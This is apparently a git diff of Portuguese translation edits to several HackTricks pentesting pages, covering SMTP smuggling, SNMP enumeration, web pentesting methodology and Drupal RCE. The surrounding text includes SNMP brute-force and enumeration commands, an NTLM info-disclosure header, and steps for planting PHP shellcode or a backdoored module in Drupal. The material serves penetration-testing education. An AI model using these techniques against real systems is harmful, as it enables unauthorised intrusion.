 Esse tipo de vulnerabilidade foi [**originalmente descoberto neste post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) onde é explicado que é possível **explorar discrepâncias em como o protocolo SMTP é interpretado** ao finalizar um e-mail, permitindo que um atacante contrabandeie mais e-mails no corpo do e-mail legítimo, permitindo se passar por outros usuários do domínio afetado (como admin@outlook.com) contornando defesas como SPF.
 
-### Por que
+### Why
 
 Isso ocorre porque no protocolo SMTP, os **dados da mensagem** a ser enviada no e-mail são controlados por um usuário (atacante) que pode enviar dados especialmente elaborados abusando das diferenças nos analisadores que contrabandeiam e-mails extras no receptor. Veja este exemplo ilustrado do post original:
 
-<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
 
-### Como
+### How
 
 Para explorar essa vulnerabilidade, um atacante precisa enviar alguns dados que o **servidor SMTP de saída pensa que é apenas 1 e-mail, mas o servidor SMTP de entrada pensa que há vários e-mails**.
 
@@ -41,7 +41,7 @@ Dados de desincronização potenciais:
 
 Além disso, note que o SPF é contornado porque se você contrabandear um e-mail de `admin@outlook.com` de um e-mail de `user@outlook.com`, **o remetente ainda é `outlook.com`.**
 
-## **Referências**
+## **References**
 
 * [https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/)
 

network-services-pentesting/pentesting-snmp/README.md

@@ -1,8 +1,8 @@
 # 161,162,10161,10162/udp - Pentesting SNMP
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -35,7 +35,7 @@ O SNMP também usa a porta **162/UDP** para **traps**. Estes são pacotes de dad
 ### MIB
 
 Para garantir que o acesso SNMP funcione entre fabricantes e com diferentes combinações cliente-servidor, a **Management Information Base (MIB)** foi criada. MIB é um **formato independente para armazenar informações de dispositivos**. Um MIB é um **arquivo de texto** no qual todos os **objetos SNMP** consultáveis de um dispositivo estão listados em uma hierarquia de árvore **padronizada**. Ele contém pelo menos um **`Object Identifier` (`OID`)**, que, além do **endereço único** necessário e um **nome**, também fornece informações sobre o tipo, direitos de acesso e uma descrição do respectivo objeto.\
-Os arquivos MIB são escritos no formato de texto ASCII baseado em `Abstract Syntax Notation One` (`ASN.1`). Os **MIBs não contêm dados**, mas explicam **onde encontrar quais informações** e como elas se parecem, quais valores retornam para o OID específico ou qual tipo de dado é utilizado.
+Os arquivos MIB são escritos no formato de texto ASCII baseado em `Abstract Syntax Notation One` (`ASN.1`). As **MIBs não contêm dados**, mas explicam **onde encontrar quais informações** e como elas se parecem, quais valores retornam para o OID específico ou qual tipo de dado é utilizado.
 
 ### OIDs
 
@@ -60,7 +60,7 @@ Aqui está uma análise deste endereço.
 
 * 1 – isso é chamado de ISO e estabelece que este é um OID. É por isso que todos os OIDs começam com “1”
 * 3 – isso é chamado de ORG e é usado para especificar a organização que construiu o dispositivo.
-* 6 – isso é o dod ou o Departamento de Defesa, que é a organização que estabeleceu a Internet primeiro.
+* 6 – este é o dod ou o Departamento de Defesa, que é a organização que estabeleceu a Internet primeiro.
 * 1 – este é o valor da internet para denotar que todas as comunicações ocorrerão através da Internet.
 * 4 – este valor determina que este dispositivo é feito por uma organização privada e não por uma governamental.
 * 1 – este valor denota que o dispositivo é feito por uma empresa ou entidade comercial.
@@ -73,7 +73,7 @@ Passando para o próximo conjunto de números.
 * 1 – explica o tipo de dispositivo. Neste caso, é um despertador.
 * 2 – determina que este dispositivo é uma unidade terminal remota.
 
-O restante dos valores fornece informações específicas sobre o dispositivo.
+Os demais valores fornecem informações específicas sobre o dispositivo.
 
 * 5 – denota um ponto de alarme discreto.
 * 1 – ponto específico no dispositivo
@@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
 
 braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
 ```
-Graças às consultas estendidas (download-mibs), é possível enumerar ainda mais sobre o sistema com o seguinte comando :
+Graças às consultas estendidas (download-mibs), é possível enumerar ainda mais sobre o sistema com o seguinte comando:
 ```bash
 snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
 ```
@@ -154,7 +154,7 @@ No âmbito da gestão de rede, certas configurações e parâmetros são fundame
 
 ### Configurações de Acesso
 
-Duas configurações principais permitem acesso à **árvore OID completa**, que é um componente crucial na gestão de rede:
+Duas configurações principais permitem o acesso à **árvore OID completa**, que é um componente crucial na gestão de rede:
 
 1. **`rwuser noauth`** é configurado para permitir acesso total à árvore OID sem a necessidade de autenticação. Esta configuração é direta e permite acesso irrestrito.
 2. Para um controle mais específico, o acesso pode ser concedido usando:
@@ -185,7 +185,7 @@ Dê uma olhada nesta página se você estiver usando equipamentos Cisco:
 
 ## De SNMP a RCE
 
-Se você tiver a **string** que permite que você **escreva valores** dentro do serviço SNMP, pode ser capaz de abusar disso para **executar comandos**:
+Se você tiver a **string** que permite **escrever valores** dentro do serviço SNMP, pode ser capaz de abusar disso para **executar comandos**:
 
 {% content-ref url="snmp-rce.md" %}
 [snmp-rce.md](snmp-rce.md)
@@ -193,11 +193,11 @@ Se você tiver a **string** que permite que você **escreva valores** dentro do
 
 ## **SNMP Massivo**
 
-[Braa](https://github.com/mteg/braa) é um scanner SNMP em massa. O uso pretendido de tal ferramenta é, claro, fazer consultas SNMP – mas ao contrário do snmpwalk do net-snmp, ele é capaz de consultar dezenas ou centenas de hosts simultaneamente, e em um único processo. Assim, consome muito poucos recursos do sistema e faz a varredura MUITO rápido.
+[Braa ](https://github.com/mteg/braa)é um scanner SNMP em massa. O uso pretendido de tal ferramenta é, claro, fazer consultas SNMP – mas ao contrário do snmpwalk do net-snmp, ela é capaz de consultar dezenas ou centenas de hosts simultaneamente, e em um único processo. Assim, consome muito poucos recursos do sistema e faz a varredura MUITO rápido.
 
 Braa implementa sua própria pilha SNMP, portanto, não precisa de nenhuma biblioteca SNMP como net-snmp.
 
-**Sintaxe:** braa \[String-comunidade]@\[IP do servidor SNMP]:\[id iso]
+**Sintaxe:** braa \[String-de-comunidade]@\[IP do servidor SNMP]:\[id iso]
 ```bash
 braa ignite123@192.168.1.125:.1.3.6.*
 ```
@@ -225,7 +225,7 @@ grep -i "login\|fail" *.snmp
 ```
 ### **Emails**
 
-Finalmente, para extrair **endereços de email** dos dados, um **comando grep** com uma expressão regular é usado, focando em padrões que correspondem a formatos de email:
+Finalmente, para extrair **endereços de e-mail** dos dados, um **comando grep** com uma expressão regular é usado, focando em padrões que correspondem a formatos de e-mail:
 ```bash
 grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
 ```
@@ -243,9 +243,9 @@ Se houver uma ACL que permite apenas alguns IPs consultar o serviço SNMP, você
 * snmpd.conf
 * snmp-config.xml
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se você está interessado em **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
+Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
@@ -286,12 +286,12 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
 
 ```
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Support HackTricks</summary>
+<summary>Suporte ao HackTricks</summary>
 
 * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

network-services-pentesting/pentesting-snmp/cisco-snmp.md

@@ -1,8 +1,8 @@
 # Cisco SNMP
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluente em polonês escrito e falado necessário_).
+If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
@@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 
 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -68,7 +68,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
 
 * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
 
 </details>
 {% endhint %}

network-services-pentesting/pentesting-web/README.md

@@ -6,7 +6,7 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
 
 <details>
 
-<summary>Support HackTricks</summary>
+<summary>Suporte ao HackTricks</summary>
 
 * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
 * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -15,7 +15,7 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
 
@@ -23,7 +23,7 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
 
 ## Informações Básicas
 
-O serviço web é o **serviço mais comum e extenso** e existem muitos **tipos diferentes de vulnerabilidades**.
+O serviço web é o mais **comum e extenso** e muitos **tipos diferentes de vulnerabilidades** existem.
 
 **Porta padrão:** 80 (HTTP), 443(HTTPS)
 ```bash
@@ -36,13 +36,13 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Orientação de API Web
+### Web API Guidance
 
 {% content-ref url="web-api-pentesting.md" %}
 [web-api-pentesting.md](web-api-pentesting.md)
 {% endcontent-ref %}
 
-## Resumo da Metodologia
+## Metodologia resumo
 
 > Nesta metodologia, vamos supor que você vai atacar um domínio (ou subdomínio) e apenas isso. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web indeterminado dentro do escopo.
 
@@ -57,7 +57,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 * [ ] **Brute-Forcing de Diretórios**: Tente forçar todos os diretórios descobertos em busca de novos **arquivos** e **diretórios**.
 * [ ] _Note que sempre que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
 * [ ] **Verificação de Backups**: Teste se você consegue encontrar **backups** de **arquivos descobertos** adicionando extensões comuns de backup.
-* [ ] **Parâmetros de Brute-Force**: Tente **encontrar parâmetros ocultos**.
+* [ ] **Brute-Force de parâmetros**: Tente **encontrar parâmetros ocultos**.
 * [ ] Uma vez que você tenha **identificado** todos os possíveis **endpoints** aceitando **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a isso.
 * [ ] [Siga esta lista de verificação](../../pentesting-web/web-vulnerabilities-methodology.md)
 
@@ -124,7 +124,7 @@ Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida
 
 Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **sua conta um teste de caixa branca** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **teste de caixa preta**:
 
-* Existe um arquivo de **Change-log ou Readme ou Versão** ou qualquer coisa com **informações de versão acessíveis** via web?
+* Existe um arquivo **Change-log ou Readme ou Version** ou algo com **informações de versão acessíveis** via web?
 * Como e onde são salvas as **credenciais**? Existe algum (acessível?) **arquivo** com credenciais (nomes de usuário ou senhas)?
 * As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado?
 * Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
@@ -194,12 +194,12 @@ Servidores web podem **comportar-se de maneira inesperada** quando dados estranh
 
 Se você descobrir que o **WebDav** está **ativado**, mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
 
-* **Forçar Brute** credenciais
+* **Forçar Brute** nas credenciais
 * **Fazer upload de arquivos** via WebDav para o **resto** das **pastas encontradas** dentro da página web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
 
 ### **Vulnerabilidades SSL/TLS**
 
-* Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
+* Se a aplicação **não estiver forçando o usuário a usar HTTPS** em nenhuma parte, então está **vulnerável a MitM**
 * Se a aplicação está **enviando dados sensíveis (senhas) usando HTTP**. Então é uma alta vulnerabilidade.
 
 Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (Em programas de Bug Bounty, provavelmente esse tipo de vulnerabilidade não será aceito) e use [**a2sv**](https://github.com/hahwul/a2sv) para rechecagem das vulnerabilidades:
@@ -241,7 +241,7 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra
 * [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado a URL .js.map, obterá o código JS embelezado.
 * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um alvo específico.
 * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descobrir links da máquina wayback (também baixando as respostas na wayback e procurando mais links).
-* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastear (mesmo preenchendo formulários) e também encontrar informações sensíveis usando regexes específicas.
+* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastear (mesmo preenchendo formulários) e também encontrar informações sensíveis usando regexes específicos.
 * [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web com múltiplas funcionalidades projetado para profissionais de cibersegurança.
 * [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código-fonte JavaScript.
 * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **extensão do Burp Suite** para **extrair os parâmetros e endpoints** da requisição para criar listas de palavras personalizadas para fuzzing e enumeração.
@@ -250,12 +250,12 @@ Lance algum tipo de **spider** dentro da web. O objetivo do spider é **encontra
 
 ### Força Bruta em diretórios e arquivos
 
-Comece a **força bruta** a partir da pasta raiz e tenha certeza de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força bruta **recursivamente** e adicionando no início da lista de palavras usada os nomes dos diretórios encontrados).\
+Comece **forçando** a partir da pasta raiz e tenha certeza de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força bruta **recursivamente** e adicionando no início da lista de palavras usada os nomes dos diretórios encontrados).\
 Ferramentas:
 
-* **Dirb** / **Dirbuster** - Incluído no Kali, **antigo** (e **lento**) mas funcional. Permite certificados autoassinados e busca recursiva. Muito lento em comparação com as outras opções.
-* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Não permite certificados autoassinados, mas** permite busca recursiva.
-* [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados autoassinados, **não** possui busca **recursiva**.
+* **Dirb** / **Dirbuster** - Incluído no Kali, **antigo** (e **lento**) mas funcional. Permite certificados auto-assinados e busca recursiva. Muito lento em comparação com as outras opções.
+* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Não permite certificados auto-assinados, mas** permite busca recursiva.
+* [**Gobuster**](https://github.com/OJ/gobuster) (go): Permite certificados auto-assinados, **não** possui busca **recursiva**.
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, suporta busca recursiva.**
 * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 * [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
@@ -287,7 +287,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
 
 ### O que verificar em cada arquivo encontrado
 
-* [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem estar propensos a tomadas.
+* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encontrar links quebrados dentro de HTMLs que podem estar propensos a tomadas de controle.
 * **Backups de Arquivos**: Uma vez que você tenha encontrado todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 * **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se puder, você pode tentar buscar** parâmetros ocultos em cada arquivo web executável.
 * _Arjun todas as listas de palavras padrão:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
@@ -332,7 +332,7 @@ Se alguma página **responder** com esse **código**, provavelmente é um **prox
 **Autenticação NTLM - Divulgação de informações**
 
 Se o servidor em execução que solicita autenticação é **Windows** ou você encontra um login pedindo suas **credenciais** (e pedindo o **nome do domínio**), você pode provocar uma **divulgação de informações**.\
-**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **autenticação NTLM funciona**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
+**Envie** o **cabeçalho**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido ao funcionamento da **autenticação NTLM**, o servidor responderá com informações internas (versão do IIS, versão do Windows...) dentro do cabeçalho "WWW-Authenticate".\
 Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
 
 **Redirecionamento HTTP (CTF)**
@@ -341,7 +341,7 @@ Você pode **automatizar** isso usando o **plugin nmap** "_http-ntlm-info.nse_".
 
 ### Verificação de Vulnerabilidades Web
 
-Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de verificar uma série de possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
+Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de verificar muitas possíveis vulnerabilidades. Você pode encontrar a lista de verificação aqui:
 
 {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
 [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@@ -355,9 +355,9 @@ Encontre mais informações sobre vulnerabilidades web em:
 
 ### Monitorar Páginas para mudanças
 
-Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas para modificações que possam inserir vulnerabilidades.
+Você pode usar ferramentas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorar páginas em busca de modificações que possam inserir vulnerabilidades.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se você está interessado em uma **carreira em hacking** e hackear o inhackeável - **estamos contratando!** (_fluente em polonês escrito e falado é necessário_).
 

network-services-pentesting/pentesting-web/drupal/drupal-rce.md

@@ -1,8 +1,8 @@
 # Drupal RCE
 
 {% hint style="success" %}
-Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -27,7 +27,7 @@ Vá para _Módulos_ -> (**Verifique**) _PHP Filter_ -> _Salvar configuração_
 
 ![](<../../../.gitbook/assets/image (247) (1).png>)
 
-Então clique em _Adicionar conteúdo_ -> Selecione _Página Básica_ ou _Artigo_ -> Escreva _shellcode php no corpo_ -> Selecione _Código PHP_ em _Formato de texto_ -> Selecione _Visualizar_
+Então clique em _Adicionar conteúdo_ -> Selecione _Página Básica_ ou _Artigo -_> Escreva _shellcode php no corpo_ -> Selecione _código PHP_ em _Formato de texto_ -> Selecione _Pré-visualizar_
 
 ![](<../../../.gitbook/assets/image (338).png>)
 
@@ -55,7 +55,7 @@ A partir da versão **8**, o **[PHP Filter](https://www.drupal.org/project/php/r
 Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão.
 {% endhint %}
 
-Um módulo com backdoor pode ser criado **adicionando um shell a um módulo existente**. Módulos podem ser encontrados no site drupal.org. Vamos escolher um módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Role para baixo e copie o link para o [arquivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) tar.gz.
+Um módulo com backdoor pode ser criado **adicionando um shell a um módulo existente**. Módulos podem ser encontrados no site drupal.org. Vamos escolher um módulo como [CAPTCHA](https://www.drupal.org/project/captcha). Role para baixo e copie o link para o tar.gz [arquivo](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
 
